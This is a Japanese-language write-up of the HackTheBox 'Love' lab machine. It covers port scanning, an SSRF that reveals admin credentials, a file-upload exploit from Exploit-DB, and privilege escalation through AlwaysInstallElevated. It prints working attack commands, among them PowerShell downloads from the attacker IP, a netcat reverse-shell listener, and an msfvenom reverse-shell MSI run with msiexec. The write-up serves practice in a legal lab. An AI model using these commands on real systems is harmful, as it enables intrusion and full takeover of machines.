HackTheBox - Love Walkthrough


HackTheBox - Love Walkthrough

Enum

まずはポートスキャンを行う。

$ sudo nmap -sS -f -A -Pn $IP -o nmap.log

多くのポートが開いており、80番、433番、5000番でApacheサーバが動いている。

433番は"staging.love.htb"という名前で動いているので/etc/hostsを書き換える。

$ sudo vim /etc/hosts

追記

10.10.10.239 stagin.love.htb

この3つのポートにアクセスしてみると、80番ではログインページ、443番はFree File Scannerというページが表示され、5000番では権限が無いと怒られてしまう。

80番のログインページでSQLインジェクションなどを試してみるが無効。

443番のページ (http://staging.love.htb) を見てみるとサインアップするところが見受けられるがここでもサインアップすることが出来ない。

次にサイト上部のメニューバーにDemoというページが存在するので見てみるとurlを入力するBox見受けられる。

試しにいくつかurlを入れてみると443番のApacheサーバから入力されたurlにアクセスし、その結果を返して表示していることが分かる。

そこで先ほど権限が無いと言われてしまった5000番ポートを見てみる。

すると"admin"というユーザー名と"@LoveIsInTheAir!!!!"というパスワードを得ることが出来た。

80番ポートをgobusterにかけてみるとadminというログインページが見つかるのでここから先ほどの認証情報を用いてログインを試みる。

最初に試みた際、なぜか"Connection failed: No connection could be made because the target machine actively refused it."と言われてしまったので一度マシンをリセットした。

そのうえでログインを試みるとログインに成功し、VotingSystemというページが表示される。

ざっとサイトを見てみるとファイルをアップロードすることが出来る箇所が何か所かあり脆弱性が存在しそうなので調べてみると、やはりファイルアップロードの脆弱性が存在した。

https://www.exploit-db.com/exploits/49445

Penetration

上記のexploitを用いて侵入を試みる。

まず"Edit your settings here"となっているところを書き換える。

# --- Edit your settings here ----
IP = "10.10.10.239" # Website's URL
USERNAME = "admin" #Auth username
PASSWORD = "@LoveIsInTheAir!!!!" # Auth Password
REV_IP = "10.10.14.2" # Reverse shell IP
REV_PORT = "4444" # Reverse port
# --------------------------------

次に今回は各ページのurlが少し違うので修正する。

INDEX_PAGE = f"http://{IP}/admin/index.php"
LOGIN_URL = f"http://{IP}/admin/login.php"
VOTE_URL = f"http://{IP}/admin/voters_add.php"
CALL_SHELL = f"http://{IP}/images/shell.php"

これでexploitの修正は出来たのでncで待ち受けて動かしてみる。

$ nc -lvp 4444
$ python3 49445.py

侵入成功。

Privilege escalation

まずとりあえずwinPEASを動かして情報を見てみる。

> powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.2:8000/winPEASx64.exe','C:\Users\Phoebe\Desktop\winPEASx64.exe')"
> winPEASx64.exe

実行結果を見ていると以下のようなところが見つかる。

"AlwaysInstallElevated"とは、msiパッケージは管理者以外のユーザーに対して昇格された特権でインストール出来るというもの。

これはマシンが脆弱となる要因となりえる。

```[+] Checking AlwaysInstallElevated
[?]  [https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated)
AlwaysInstallElevated set to 1 in HKLM!
AlwaysInstallElevated set to 1 in HKCU!

以下のサイトを参考に権限昇格を試みる。

https://steflan-security.com/windows-privilege-escalation-alwaysinstallelevated-policy/

msfvenomを使用してreverse shellを生成する。

$ msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.14.2 lport=9999 -f msi > shell.msi

生成したreverse shellをターゲットマシンに移動。

$ python3 -m http.server
> powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.2:8000/shell.msi','C:\xampp\htdocs\omrs\images\shell.msi')"

ncで待ち受けてターゲットマシンでreverse shellを実行。

$ nc -lvp 9999
> msiexec /quiet /qn /i shell.msi

権限昇格されて接続される。